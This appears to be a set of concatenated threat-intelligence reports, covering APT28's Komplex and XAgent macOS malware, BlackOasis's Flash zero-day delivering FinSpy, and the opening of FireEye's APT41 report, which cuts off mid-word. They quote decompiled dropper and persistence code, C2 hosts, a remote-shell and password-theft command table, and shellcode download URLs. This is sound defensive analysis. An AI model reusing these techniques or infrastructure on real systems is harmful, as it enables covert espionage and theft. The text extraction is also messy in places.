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The Komplex Binder: Is the main executable of roskosmos_2015-2025.app. Its main purpose is to save a second payload(the dropper) on the system and open the decoy pdf file pictured below. v7 objc_msgSend(OBJC_CLASS___NSString, stringWithFormat:, CFSTR(/roskosmos_2015-2025.pdf), v6) v8 objc_msgSend(OBJC_CLASS___NSString, stringWithFormat:, CFSTR(SetFile -a E / roskosmos_2015-2025.pdf), v6) v9 objc_msgSend(OBJC_CLASS___NSString, stringWithFormat:, CFSTR(rm -rf /roskosmos_2015-2025. app), v6) v10 objc_msgSend( OBJC_CLASS___NSString, stringWithFormat:, CFSTR(open -a Preview.app /roskosmos_2015-2025.pdf), v6) v11 objc_msgSend(OBJC_CLASS___NSData, dataWithBytes:length:, joiner, 135028LL) objc_msgSend(v11, writeToFile:atomically:, CFSTR(/tmp/content), 1LL) v12 (const char )objc_msgSend(v9, UTF8String) system(v12) system(chmod 755 /tmp/content) v13 objc_msgSend(OBJC_CLASS___NSData, dataWithBytes:length:, pdf, 1584258LL) objc_msgSend(v13, writeToFile:atomically:, v7, 1LL) v14 (const char )objc_msgSend(v8, UTF8String) system(v14) v15 objc_msgSend(OBJC_CLASS___NSTask, alloc) v16 objc_msgSend(v15, init) objc_msgSend(v16, setLaunchPath:, CFSTR(/tmp/content)) objc_msgSend(v16, launch) objc_msgSend(v16, waitUntilExit) v17 (const char )objc_msgSend(v10, UTF8String) system(v17) The Komplex Binder [5] White Paper Komplex: roskosmos_2015-2025.pdf 2. The Komplex Dropper: Its main functionality is to drop a third Komplex component: the final payload, and ensure persistence on the infected system system(mkdir -p /Users/Shared/.local/ /dev/null) system(mkdir -p /Library/LaunchAgents/ /dev/null) off_10001B4F0(v5, off_10001B4F0, CFSTR(/Users/Shared/.local/kextd), 1LL) off_10001B4F0(v6, off_10001B4F0, CFSTR(/Users/Shared/com.apple.updates.plist), 1LL) off_10001B4F0(v7, off_10001B4F0, CFSTR(/Users/Shared/start.sh), 1LL) system(cp /Users/Shared/com.apple.updates.plist HOME/Library/LaunchAgents/ /dev/null) remove(/Users/Shared/com.apple.updates.plist) system(chmod 755 /Users/Shared/.local/kextd) system(chmod 755 /Users/Shared/start.sh) 3. The Komplex Payload: Is the final component of the Komplex malware, with the sole purpose of downloading and executing a file, as requested by the CC servers. In other words, Komplex is an APT28/Sofacy component that can be distributed via email, disguised as a PDF document, to establish a foothold in a system. Once it infects the host, it can download and run the next APT28/Sofacy component, which - to the best of our knowledge - is the XAgent malware that forms the object of this paper. Our assumption is guided by hard evidence included in the binary. Our forensics endeavor revealed a number of indicators that made us think XAgent was distributed via Komplex malware: [6] White Paper Komplex XAgent Project path /Users/kazak/Desktop/Project/komplex /Users/kazak/Desktop/Project/XAgentOSX Malware path on the infected system /Users/Shared/.local/kextd /Username/Library/Assistants/.local/random_name CC apple-iclods[. ]net apple-iclods.org Possible Attack Flow [7] White Paper C. Initialization The main module of the XAgent component is called BootXLoader. Upon starting, it calls the runLoader method, which orchestrates the following: 1. Checks if a debugger is present and, if so, the malware exits. v29 1 v30 14 v31 1 v32 getpid() v26 648LL if ( sysctl(v29, 4u, v27, v26, 0LL, 0LL) ) goto LABEL_13 2. The module then waits for internet connectivity by pinging 8.8.8.8. v7 v2 v3 0 objc_retainAutorelease(CFSTR(8.8.8.8)) v4 objc_msgSend_ptr(CFSTR(8.8.8.8), selRef_cStringUsingEncoding_, 1LL, v7) v5 SCNetworkReachabilityCreateWithName(0LL, (__int64)v4) HIDWORD(v7) 0 if ( (unsigned __int8)SCNetworkReachabilityGetFlags(v5, (char )v7 4) ) .. 3. Initializes the module used for communicating with the CC servers (called HTTPChannel) and establishes communication between the malware and the CC servers. http_chanel_obj objc_msgSend_ptr(classRef_HTTPChannel, selRef_alloc) v12 v10(http_chanel_obj, (const char )selRef_init) v13 v10(classRef_NSThread, selRef_alloc) v14 objc_msgSend_ptr(v13, selRef_initWithTarget_selector_object_, v4, selRef_postThread_, v12) objc_msgSend_ptr(v14, selRef_start) v15 objc_msgSend_ptr(classRef_NSThread, selRef_alloc) v16 objc_msgSend_ptr(v15, selRef_initWithTarget_selector_object_, v4, selRef_getThread_, v12) objc_msgSend_ptr(v16, selRef_start) 4. Starts the main handle module for CC commands and the spying modules: MainHandler v6 objc_msgSend_ptr(classRef_MainHandler, selRef_alloc) v7 objc_msgSend_ptr(v6, (const char )selRef_init) v8 objc_retain_ptr(v5, selRef_init) v9 v7[4] v7[4] v8 objc_release_ptr(v9) objc_msgSend_ptr(v7, selRef_cycleLoop) [8] White Paper D. Communication The agent starts by selecting a CC server from a hardcoded list, then sends a hello message and starts two main communications threads: One for receiving commands from the CC server, in an infinite GET loop. One for sending data to the CC server, in an infinite POST loop. 1. Receiving commands from CC server The agent awaits CC commands from the server and inserts them into a command queue that will be executed in a separate thread by MainHandler module. CC Servers http://23.227.196.215 http://apple-iclods.org http://apple-checker.org http://apple-uptoday.org http://apple-search.info The command structure, called cmdPacket, contains a command identifier, a command parameter and a size for the parameter. struct cmdPacket unsigned char cmd char param unsigned long long param_size Command Structure The command request to the CC server is made via HTTP GET. It receives a base64 encoded cmdPacket that has previously been encrypted with RC4 using a hardcoded KERNEL_CRYPTO_MAIN_KEY. HTTP GET Request Method GET Server CC Verbs search/?, find/?, results/?, open/?, search/?, close/? Args from, itwm, ags, oe, aq, btnG, oprnd, itwm, utm, channel Response (base64) Request a command from server [9] White Paper GET http://apple-iclods.org/close/?itwmLO6iN- PjpD0U8AVlLo_Hk3X9FSgAFxzxI49_qwCS03APJT HTTP/1.1 Host: apple-iclods.org Pragma: no-cache Connection: keep-alive Accept: / User-Agent: 4fe4b9560e99e33dabca553e2eeee510 CFNetwork/673.3 Darwin/13.4.0 (x86_64) Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: keep-alive Example of GET message Based on the command from the CC server, the agent decodes and decrypts the command structure, and inserts it in a command queue to be executed by the MainHandler module. Command Value Command char Module Action 101 e InfoOS getOsInfo 102 f InfoOS getProcessList 103 g RemoteShell executeShellCommand 104 h RemoteShell getInstalledApps 105 i RemoteShell checkBackupIosDeviceFolder 106 j FileSystem downloadFileFromPath 107 k FileSystem createFileInSystem 108 l FileSystem executeFile 109 m FileSystem deleteFile 110 n ScreenShot takeScreenShot 111 o ScreenShot Start screenShotLoop 112 p ScreenShot Stop screenShotLoop 116 t Password getFirefoxPassword 117 u FTP uploadFile:urlServer:userName:password: 118 v FTP stopOperation 119 w FileSystem readFiles CC Commands and Actions 2. Sending information to CC server To exfiltrate information to the CC server (such as screenshots, passwords, files and more), the agent uses a defined structure called msgPacket. struct msgPacket int agent_id short module_id unsigned char cmd_id char data_ unsigned int data_size unsigned char priority Message Structure [10] White Paper The message is encrypted with RC4 with a hardcoded KERNEL_CRYPTO_MAIN_KEY. It then appends a key and a DATA_TOKEN xor-ed with the key. Ultimately, the module encodes the result with base64 and sends it to the CC server in a POST request. HTTP POST Request Method POST Server CC Body(base64) Send message to server When starting the communication, the agent sends a hello message to the server using the POST request detailed above. This request has the following HTTP body: POST Body for Hello Message agent_id IOPlatformUUID module_id 0x3303 cmd_id 2 data 0x33033333334433553377 data_size 0xF priority 0x16 Hello message body POST http://23.227.196.215/watch/?itwm7FJcXOPyN_Znh7quXfh4WAaKquNzY oe9cu2LRvfabagsPi8KZsjwBhoeHXK20Paqh2RBWMQIaqyRRTHi5HMKNBXTB Host: 23.227.196.215 Content-Type: application/x-www-form-urlencoded charsetutf-8 Connection: keep-alive Proxy-Connection: keep-alive Accept: / User-Agent: 4fe4b9560e99e33dabca553e2eeee510 (unknown version) CFNetwork/673.3 Darwin/13.4.0 (x86_64) Accept-Language: en-us Accept-Encoding: gzip, deflate Content-Length: 81 0_a70HpSuFQI7FnNetyKM559SUEcCj-WBinNUfTdPQw0ZVTfyNXe26b6isibFp_cJLGqtiOZ9Em3iUA Example of Hello Message [11] White Paper E. Modules All the important functionalities of the XAgent lie in its modules. These modules are used for communication with the CC server, encryption and encoding and - most importantly - for data exfiltration and espionage. 1. BootXLoader: is the main module that handles the initialization procedures. 2.
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MainHandler: handles CC commands and controls the other modules based on the commands it receives from the CC. case e: getInfoOSX case f: getProcessList case g: remoteShell case h: getInstalledAPP case i: showBackupIosFolder case j: downloadFileFromPath case k: createFileInSystem case l: execFile case m: deletFileFromPath case n: takeScreenShot case o: startTakeScreenShot case p: stopTakeScreenShot case t: getFirefoxPassword case u: ftpUpload case v: ftpStop case w: readFiles 3. HTTPChannel : Used for continuous communication with the CC server, for receiving commands and sending stolen data to the server. -[HTTPChannel enqueue:array:] -[HTTPChannel dequeue:] -[HTTPChannel clear:] -[HTTPChannel getIntegerFromProcName] -[HTTPChannel getAgentID] -[HTTPChannel createRandomSymbols:] -[HTTPChannel createEncodeToken:size_token:] -[HTTPChannel createKeyToken:] -[HTTPChannel random:end:] -[HTTPChannel generateUrlQuestion:] -[HTTPChannel generateHttpMes:data_size:size_http_mes:] -[HTTPChannel createEncodeData:size_data:size_result_data:] -[HTTPChannel takeOutPacket:::] -[HTTPChannel generateUrlParametrs:] -[HTTPChannel isActiveNetwork] -[HTTPChannel isActiveChannel] -[HTTPChannel nextServer:] -[HTTPChannel timeoutChanger:] -[HTTPChannel get] -[HTTPChannel getCryptoRawPacket] -[HTTPChannel postMessageThread] -[HTTPChannel post] -[HTTPChannel createCryptPacket] -[HTTPChannel createDecryptPacket:] -[HTTPChannel helloMessage] [12] White Paper 4. CameraShot: not implemented. 5. Password: used to obtain passwords from Firefox browser profiles. The modules saves them to a file that will be sent to the CC servers. -[Password writeLogMsg:] -[Password htmlLogMessage:] -[Password _initNSSLib] -[Password getFirefoxPassword] 6. FileSystem: used for file management, such as: find file, delete file, execute file, create file. -[FileSystem getFileFromDirectory:sizeFile:] -[FileSystem createFile:bodyFile:sizeBody:] -[FileSystem executeFile:] -[FileSystem deleteFile:] -[FileSystem findFilesAtPath:withMask:andRecursion:] 7. FTPManager: used to upload file to the server using credentials received in a previous command from the CC server. -[FTPManager buffer] -[FTPManager init] -[FTPManager _checkFMServer:] -[FTPManager fileSizeOf:] -[FTPManager _createListingArrayFromDirectoryListingData:] -[FTPManager _uploadData:withFileName:toServer:] -[FTPManager getAgentID] -[FTPManager _uploadFile:toServer:] -[FTPManager _createNewFolder:atServer:] -[FTPManager _contentsOfServer:] -[FTPManager _downloadFile:toDirectory:fromServer:] -[FTPManager uploadData:withFileName:toServer:] 8. InjectApp: Leverages existing higher-level vel interprocess communication mechanisms by sending an kASAppleScriptSuite/ kGetAEUTused event to a process to make it load Apple scripting additions. It then sends another event to inject in to the following Mac system processes: mdworker SystemUIServer Dock loginwindow UserEventAgent -[InjectApp injectRunningApp] -[InjectApp isInjectable:] -[InjectApp sendEventToPid:] 9. InfoOS: Gather information from the infected computer, such as: IOPlatformUUID, process list, operating system version. 10. Keylogger: Records any keystroke from user activity on the system. -[Keylogger activeAppDidChange:] -[Keylogger addNotificationForActiveApp] -[Keylogger checkAccesibility] -[Keylogger checkSpecialKey:] -[Keylogger disableLogging] -[Keylogger enableLogging] -[Keylogger initEventTapAndStartRunLoop] -[Keylogger keyPressedeventMonitor] -[Keylogger pressedKeyWithKeyCode:andModifiers:] -[Keylogger removeNotificationForActiveApp] -[Keylogger sendLog] -[Keylogger setAccessibilityApplication] [13] White Paper -[Keylogger setKeyPressedeventMonitor:] -[Keylogger start] -[Keylogger status] -[Keylogger stop] 11. Launcher: This module is used for generating XAgents file path on the infected system and to re-execute itself. The malware is located in the UserHomedir/Library/Assistants/.local/ path in a random directory with a name picked from a hardcoded list. Its filename is also picked from a hardcoded list. [ Launcher randomInteger:max:] [Launcher generateRandomPathAndName] -[Launcher reloadItSelf:] -[Launcher checkProcessName] The malware is located in the UserHomedir/Library/Assistants/.local/ path in a random directory with a name picked from a hardcoded list. Its filename is also picked from a hardcoded list. Posible Directory Path UserHomedir/Library/Assistants/.local/.localized/exe_name UserHomedir/Library/Assistants/.local/.com.apple.kshd/exe_name UserHomedir/Library/Assistants/.local/.com.apple.erx/exe_name UserHomedir/Library/Assistants/.local/.com.apple.fsg/exe_name UserHomedir/Library/Assistants/.local/.com.apple.ulk/exe_name UserHomedir/Library/Assistants/.local/.com.apple.wsat/exe_name UserHomedir/Library/Assistants/.local/.com.apple.sksh/exe_name UserHomedir/Library/Assistants/.local/.com.apple.ulkg/exe_name UserHomedir/Library/Assistants/.local/.com.apple.updater/exe_name Possible executable name exe_name kshd skgc mwwod rtsol paxs erx mpitil utyy exprd fcc mpiwtil rtdl rcp smm mpil rtw sync fsg mpl tew kex ulk nfod rwd zsc wsat nfsrfd Kjh scpo launchd nfd Fres ddl lanchd ntfs Qas update lauhd rdf zsg mknod routr rep mnod route 12. RemoteShell: Used to execute remote commands received from the attacker on the infected machine. It lists installed applications as well as iPhone backups. -[RemoteShell dispatchCommand:] -[RemoteShell start:] -[RemoteShell executeShellCommand:] -[RemoteShell getInstalledApps] -[RemoteShell checkBackupIosDeviceFolder] [14] White Paper 13. Coder: Used for base64 encoding/decoding. Coder::b64Decode(char ,uint,uint ,char ) Coder::base64UrlEncode(uchar ,uint,uint ) Coder::b64Encode(uchar ,uint,uint ,char ) Coder::base64Decode(char ,uint,uint ) Coder::base64Encode(uchar ,uint,uint ) 14.
278
Cryptor: The cryptographic engine used to encrypt communication with the CC server.
57,062
57,662
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data/reports_final/0278.txt
Cryptor: The cryptographic engine used to encrypt communication with the CC server. CryptoContainer::cryptRc4(uchar ,uint,uint) CryptoContainer::decryptData(uchar ,uint,uint ) Mac Linux HTTPChannel HTTPChannel MainHandler AgentKernel CameraShot FileObserver FileSystem FileSystem FMServer FTP FTPManager InjectApp Keylogger Keylogger Launcher Password RemoteShell RemoteShell ScreenShot Coder Coder Cryptor Cryptor Modules comparison with Linux [15] White Paper F. Conclusions State-sponsored threat actors go to great lengths to reach their goals. With clear objectives and generous research development budgets, APT groups get the job done. It was just a matter of time until the APT28 group realized they were missing out on a serious cyber-weapon to target Mac OS X users. The discovery of the XAgent module once again reasserts the need for organizations to tackle computer security in a unified manner, regardless of the operating system mix they have deployed. Missing out on Macs or mobile phones because they are inherently secure gives determined attacks the opportunity they need to subvert individual devices and take over entire networks to exfiltrate information for months, if not years. BD -B us in es s- Fe b. 21 .2 01 7- Tk : 70 58 5 All Rights Reserved. 2015 Bitdefender. All trademarks, trade names, and products referenced herein are property of their respective owners. FOR MORE INFORMATION VISIT: enterprise.bitdefender.com Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in virtualization and cloud technologies. Through RD, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the worlds leading virtualization and cloud technology providers. More information is available at http://www.bitdefender.com/ BlackOasis APT and new targeted attacks leveraging zero- day exploit securelist.com /blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/ By GReAT More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service. Contact: intelreportskaspersky.com Introduction Kaspersky Lab has always worked closely with vendors to protect users. As soon as we find new vulnerabilities we immediately inform the vendor in a responsible manner and provide all the details required for a fix. On October 10, 2017, Kaspersky Labs advanced exploit prevention systems identified a new Adobe Flash zero day exploit used in the wild against our customers. The exploit was delivered through a Microsoft Office document and the final payload was the latest version of FinSpy malware. We have reported the bug to Adobe who assigned it CVE-2017-11292 and released a patch earlier today: So far only one attack has been observed in our customer base, leading us to believe the number of attacks are minimal and highly targeted. Analysis of the payload allowed us to confidently link this attack to an actor we track as BlackOasis. We are also highly confident that BlackOasis was also responsible for another zero day exploit (CVE-2017-8759) discovered by FireEye in September 2017. The FinSpy payload used in the current attacks (CVE-2017-11292) shares the same command and control (C2) server as the payload used with CVE-2017-8759 uncovered by FireEye. BlackOasis Background We first became aware of BlackOasis activities in May 2016, while investigating another Adobe Flash zero day. On May 10, 2016, Adobe warned of a vulnerability (CVE-2016-4117) affecting Flash Player 21.0.0.226 and earlier versions for Windows, Macintosh, Linux, and Chrome OS. The vulnerability was actively being exploited in the wild. Kaspersky Lab was able to identify a sample exploiting this vulnerability that was uploaded to a multi scanner system on May 8, 2016. The sample, in the form of an RTF document, exploited CVE-2016-4117 to download and 1/10 https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/ mailto:intelreportskaspersky.com https://helpx.adobe.com/security/products/flash-player/apsb17-32.html https://cdn.securelist.com/files/2017/10/cve_2017_11292_credits.png https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html https://helpx.adobe.com/security/products/flash-player/apsa16-02.html https://cdn.securelist.com/files/2017/10/171016-blackoasis-1.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-2.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-3.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-4.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-5.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-6.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-7.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-8.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-9.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-10.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-11.png https://cdn.securelist.com/files/2017/10/171016-blackoasis-12.png install a program from a remote CC server. Although the exact payload of the attack was no longer in the CC, the same server was hosting multiple FinSpy installation packages. Leveraging data from Kaspersky Security Network, we identified two other similar exploit chains used by BlackOasis in June 2015 which were zero days at the time. Those include CVE-2015-5119 and CVE-2016-0984, which were patched in July 2015 and February 2016 respectively. These exploit chains also delivered FinSpy installation packages. Since the discovery of BlackOasis exploitation network, weve been tracking this threat actor with the purpose of better understanding their operations and targeting and have seen a couple dozen new attacks. Some lure documents used in these attacks are shown below: 2/10 Decoy documents used in BlackOasis attacks To summarize, we have seen BlackOasis utilizing at least five zero days since June 2015: CVE-2015-5119 June 2015 CVE-2016-0984 June 2015 CVE-2016-4117 May 2016 CVE-2017-8759 Sept 2017 CVE-2017-11292 Oct 2017 Attacks Leveraging CVE-2017-11292 The attack begins with the delivery of an Office document, presumably in this instance via e-mail. Embedded within 3/10 the document is an ActiveX object which contains the Flash exploit. Flash object in the .docx file, stored in uncompressed format The Flash object contains an ActionScript which is responsible for extracting the exploit using a custom packer seen in other FinSpy exploits. 4/10 Unpacking routine for SWF exploit The exploit is a memory corruption vulnerability that exists in the com.adobe.tvsdk.mediacore. BufferControlParameters class. If the exploit is successful, it will gain arbitrary read / write operations within memory, thus allowing it to execute a second stage shellcode. The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files: NOP sled composed of 0x90 and 0x91 opcodes The main purpose of the initial shellcode is to download second stage shellcode from hxxp://89.45.67[. ]107/rss/5uzosoff0u.iaf. 5/10 Second stage shellcode The second stage shellcode will then perform the following actions: 1. Download the final payload (FinSpy) from hxxp://89.45.67[. ]107/rss/mo.exe 2. Download a lure document to display to the victim from the same IP 3. Execute the payload and display the lure document Payload mo.exe As mentioned earlier, the mo.exe payload (MD5: 4a49135d2ecc07085a8b7c5925a36c0a) is the newest version of Gamma Internationals FinSpy malware, typically sold to nation states and other law enforcement agencies to use in lawful surveillance operations. This newer variant has made it especially difficult for researchers to analyze the malware due to many added anti-analysis techniques, to include a custom packer and virtual machine to execute code. 6/10 The PCODE of the virtual machine is packed with the aplib packer. Part of packed VM PCODE After unpacking, the PCODE it will look like the following: Unpacked PCODE After unpacking the virtual machine PCODE is then decrypted: 7/10 Decrypted VM PCODE The custom virtual machine supports a total of 34 instructions: Example of parsed PCODE In this example, the 1b instruction is responsible for executing native code that is specified in parameter field. Once the payload is successfully executed, it will proceed to copy files to the following locations: C:\ProgramData\ManagerApp\AdapterTroubleshooter.exe C:\ProgramData\ManagerApp\15b937.cab C:\ProgramData\ManagerApp\install.cab C:\ProgramData\ManagerApp\msvcr90.dll C:\ProgramData\ManagerApp\d3d9.dll The AdapterTroubleshooter.exe file is a legitimate binary which is leveraged to use the famous DLL search order hijacking technique. The d3d9.dll file is malicious and is loaded into memory by the legit binary upon execution. Once loaded, the DLL will then inject FinSpy into the Winlogon process. 8/10 Part of injected code in winlogon process The payload calls out to three C2 servers for further control and exfiltration of data. We have observed two of them used in the past with other FinSpy payloads. Most recently one of these C2 servers was used together with CVE- 2017-8759 in the attacks reported by FireEye in September 2017. These IPs and other previous samples tie closely to the BlackOasis APT cluster of FinSpy activity. Targeting and Victims BlackOasis interests span a wide gamut of figures involved in Middle Eastern politics and verticals disproportionately relevant to the region. This includes prominent figures in the United Nations, opposition bloggers and activists, and regional news correspondents. During 2016, we observed a heavy interest in Angola, exemplified by lure documents indicating targets with suspected ties to oil, money laundering, and other illicit activities. There is also an interest in international activists and think tanks. Victims of BlackOasis have been observed in the following countries: Russia, Iraq, Afghanistan, Nigeria, Libya, Jordan, Tunisia, Saudi Arabia, Iran, Netherlands, Bahrain, United Kingdom and Angola. Conclusions We estimate that the attack on HackingTeam in mid-2015 left a gap on the market for surveillance tools, which is now being filled by other companies. One of these is Gamma International with their FinFisher suite of tools. Although Gamma International itself was hacked by Phineas Fisher in 2014, the breach was not as serious as it was in the case of HackingTeam. Additionally, Gamma had two years to recover from the attack and pick up the pace. We believe the number of attacks relying on FinFisher software, supported by zero day exploits such as the ones described here will continue to grow. What does it mean for everyone and how to defend against such attacks, including zero-day exploits? For CVE-2017-11292 and other similar vulnerabilities, one can use the killbit for Flash within their organizations to disable it in any applications that respect it. Unfortunately, doing this system-wide is not easily done, as Flash objects can be loaded in applications that potentially do not follow the killbit. Additionally, this may break any other necessary resources that rely on Flash and of course, it will not protect against exploits for other third party software. Deploying a multi-layered approach including access policies, anti-virus, network monitoring and whitelisting can help ensure customers are protected against threats such as this. Users of Kaspersky products are protected as well against this threat by one of the following detections:/p stylemargin-bottom:0important PDM:Exploit. Win32.Generic 9/10 https://answers.microsoft.com/en-us/windows/forum/windows_8-update/flashplayer-updates/cd258a3f-cd87-4ea9-bdb6-074d06ad491e?auth1 HEUR:Exploit. SWF.Generic HEUR:Exploit. MSOffice. Generic More information about BlackOasis APT is available to customers of Kaspersky Intelligence Reporting Service. Contact: intelreportskaspersky.com Acknowledgements We would like to thank the Adobe Product Security Incident Response Team (PSIRT) for working with us to identify and patch this vulnerability. References 1. Adobe Bulletin https://helpx.adobe.com/security/products/flash-player/apsb17-32.html Indicators of compromise 4a49135d2ecc07085a8b7c5925a36c0a 89.45.67[. ]107 10/10 mailto:intelreportskaspersky.com https://helpx.adobe.com/security/products/flash-player/apsb17-32.html BlackOasis APT and new targeted attacks leveraging zero-day exploit Introduction BlackOasis Background Attacks Leveraging CVE-2017-11292 Payload mo.exe Targeting and Victims Conclusions Acknowledgements References Indicators of compromise Double Dragon APT41, a dual espionage and cyber crime operation APT41 2 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION2 SPECIAL REPORT APT40 2 Table of Contents Overview ..........................................................................................4 Targeting ..........................................................................................6 Operations Over Time ................................................................8 Cyber Espionage Activity ....................................................... 10 Case Study: Healthcare Sector Targeting ..................12 Financially Motivated Activity.............................................. 14 Case Study: Video Game Industry Targeting ............17 Third-Party Access.................................................................... 20 History of Supply Chain Compromises ..............................21 December 2014....................................................................22 March 2017 ............................................................................23 July 2017 ................................................................................ 24 June 2018 ...............................................................................25 July 2018 ............................................................................... 26 Overlaps Between Espionage and Financial Operations ....................................................................................27 Attribution....................................................................................30 Status as Potential Contractors .......................................... 33 Links to Other Known Chinese Espionage Operators ...................................................................................... 34 Certificate Overlap ............................................................ 35 Launcher Overlap .............................................................. 36 Code Family Overlap ........................................................ 36 Use of Code-Signing Certificates ....................................... 39 Outlook and Implications ....................................................... 41 Technical Annex: Attack Lifecycle ..................................... 42 Initial Compromise ............................................................ 43 Establish Foothold ............................................................44 Escalate Privileges............................................................. 45 Internal Reconnaissance ................................................. 45 Lateral Movement ..............................................................46 Maintain Presence.............................................................. 47 Complete Mission .............................................................. 48 Technical Annex: MITRE ATTCK Mapping .................... 49 Technical Annex: Code-Signing Certificates Used by APT41 ...............................................................................................51 Technical Annex: Additional Malware Overlaps ...........52 Background ...........................................................................52 HIGHNOON ...........................................................................52 HIGHNOON.BIN and HIGHNOON.LITE .......................52 HIGHNOON.LINUX and HIGHNOON .......................... 54 CROSSWALK and CROSSWALK.BIN ......................... 54 Technical Annex: Malware Used by APT41 .....................60 Technical Annex: APT41 IOCs .............................................. 63 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 3 Executive Summary FireEye Threat Intelligence assesses with high confidence that APT41 is a Chinese state-sponsored espionage group that is also conducting financially motivated activity for personal gain. APT41 espionage operations against the healthcare, high-tech, and telecommunications sectors include establishing and maintaining strategic access, and through mid-2015, the theft of intellectual property. The groups operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. FireEye Threat Intelligence assesses with high confidence that APT41 carries out an array of financially motivated intrusions, particularly against the video game industry, including stealing source code and digital certificates, virtual currency manipulation, and attempting to deploy ransomware. APT41 has executed multiple software supply chain compromises, gaining access to software companies to inject malicious code into legitimate files before distributing updates. 4 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION FireEye Threat Intelligence assesses with high confidence that APT41 is a prolific cyber threat group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity potentially outside of state control. Activity traces back to 2012 when individual members of APT41 conducted primarily financially motivated operations focused on the video game industry before expanding into likely state- sponsored activity. This is remarkable because explicit financially motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests these two motivations were balanced concurrently from 2014 onward. Overview SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 5 Overview APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage operations in what appears to be activity that falls outside the scope of state-sponsored missions. Based on early observed activity, consistent behavior, and APT41s unusual focus on the video game industry, we believe the groups cyber crime activities are most likely motivated by personal financial gain or hobbyist interests. This contrasts with the state-sponsored goals that likely drive the groups healthcare, high-tech, and politically related targeting. We believe that APT41 is highly sophisticated and innovative. Its history of financially motivated targeting of the video game industry has ultimately supported the groups state-sponsored activity. The groups distinct use of supply chain compromises to target select individuals, consistent use of compromised digital certificates, and deployment of bootkits (rare among APT operators), highlight a creative and well- resourced adversary. Some of the early operations driven by personal gain used techniques that would later be pivotal in executing supply chain compromises. Learning to access video game production environments enabled APT41 to develop the tactics, techniques, and procedures (TTPs) that were later leveraged against software companies to inject malicious code into software updates. APT41 campaigns include most of the incidents previously attributed in FireEye Threat Intelligence reporting to GREF Team and a number of additional clusters that were previously unnamed. 6 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Like other Chinese espionage operators, APT41 targets industries in a manner generally aligned with Chinas Five-Year economic development plans. However, some campaigns attributed to APT41 indicate that the group is also deployed to gather intelligence ahead of imminent events, such as mergers and acquisitions (MA) and political events. Directly targeted verticals include: Healthcare: including medical devices and diagnostics High-tech: including semiconductors, advanced computer hardware, battery technology, and electric vehicles Media: including news organizations Pharmaceuticals Retail Software companies: which were compromised in supply chain operations potentially affecting large numbers of victims Telecoms Travel services Education Video games: including development studios, distributors/publishers, and activities enabling supply chain compromises Virtual currencies: including in-game currencies, cryptocurrencies, and related services APT41 has targeted organizations in 14 countries (and Hong Kong) over seven years, including: France, India, Italy, Japan, Myanmar, the Netherlands, Singapore, South Korea, South Africa, Switzerland, Thailand, Turkey, the United Kingdom, and the United States (Figure 1). APT41 espionage operations against entities in these countries follow targeting of verticals consistent with Chinese national policy priorities. Targeting SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 7 Figure 1: Countries and industries targeted directly by APT41. Industries Targeted Automotive Financial Pharmaceuticals Business Services Healthcare Retail Cryptocurrency High-Tech Telecommunications Education Intergovernmental Travel Energy Media and Entertainment 8 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Operations Over Time The duality of APT41s state-sponsored activity and its own cyber crime operations is demonstrated in the groups simultaneous operations. Throughout the groups observable history, APT41 has consistently run its own financially motivated campaigns concurrently with espionage operations. In contrast, APT41 espionage targeting has changed significantly over time, suggesting shifts in assigned missions or new contracts to complete. A breakdown of industries targeted by APT41 over time can be found in Figure 2. We believe that like other Chinese espionage operators, APT41 has moved toward strategic intelligence collection and establishing access, but away from direct intellectual property theft. This shift, however, has not affected the groups consistent interest in targeting the video game industry for financially motivated reasons. We have not observed evidence of IP theft since late 2015. In 2014, APT41 was observed carrying out espionage campaigns concurrently with financially motivated intrusions, demonstrating that they could balance different objectives simultaneously. Espionage operations occurred while the group was still carrying out financially motivated campaigns, including longer-term intrusions, which typically extended for more than a year. In one instance, APT41 was attempting to steal data from a healthcare target while also attempting to deploy ransomware at a video game studio. Compromising organizations in different sectors concurrently provides some indication that they are fulfilling specific assigned tasks. Campaigns have expanded into additional industries including telecoms, the automotive sector, higher education, and travel services. In 2015, we observed a time period in which eight organizations in six different industries were compromised simultaneously. Since 2017, APT41s activities have included a series of supply chain compromises. The operation injects malware into legitimate server software packages used by hundreds of companies worldwide but limits deployment of additional payloads to select targets. SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 9 Hi-Tech Education TelecomTelecom Finance Healthcare Travel Automotive Telecom Video Game Video Game Related Video Game Related Video 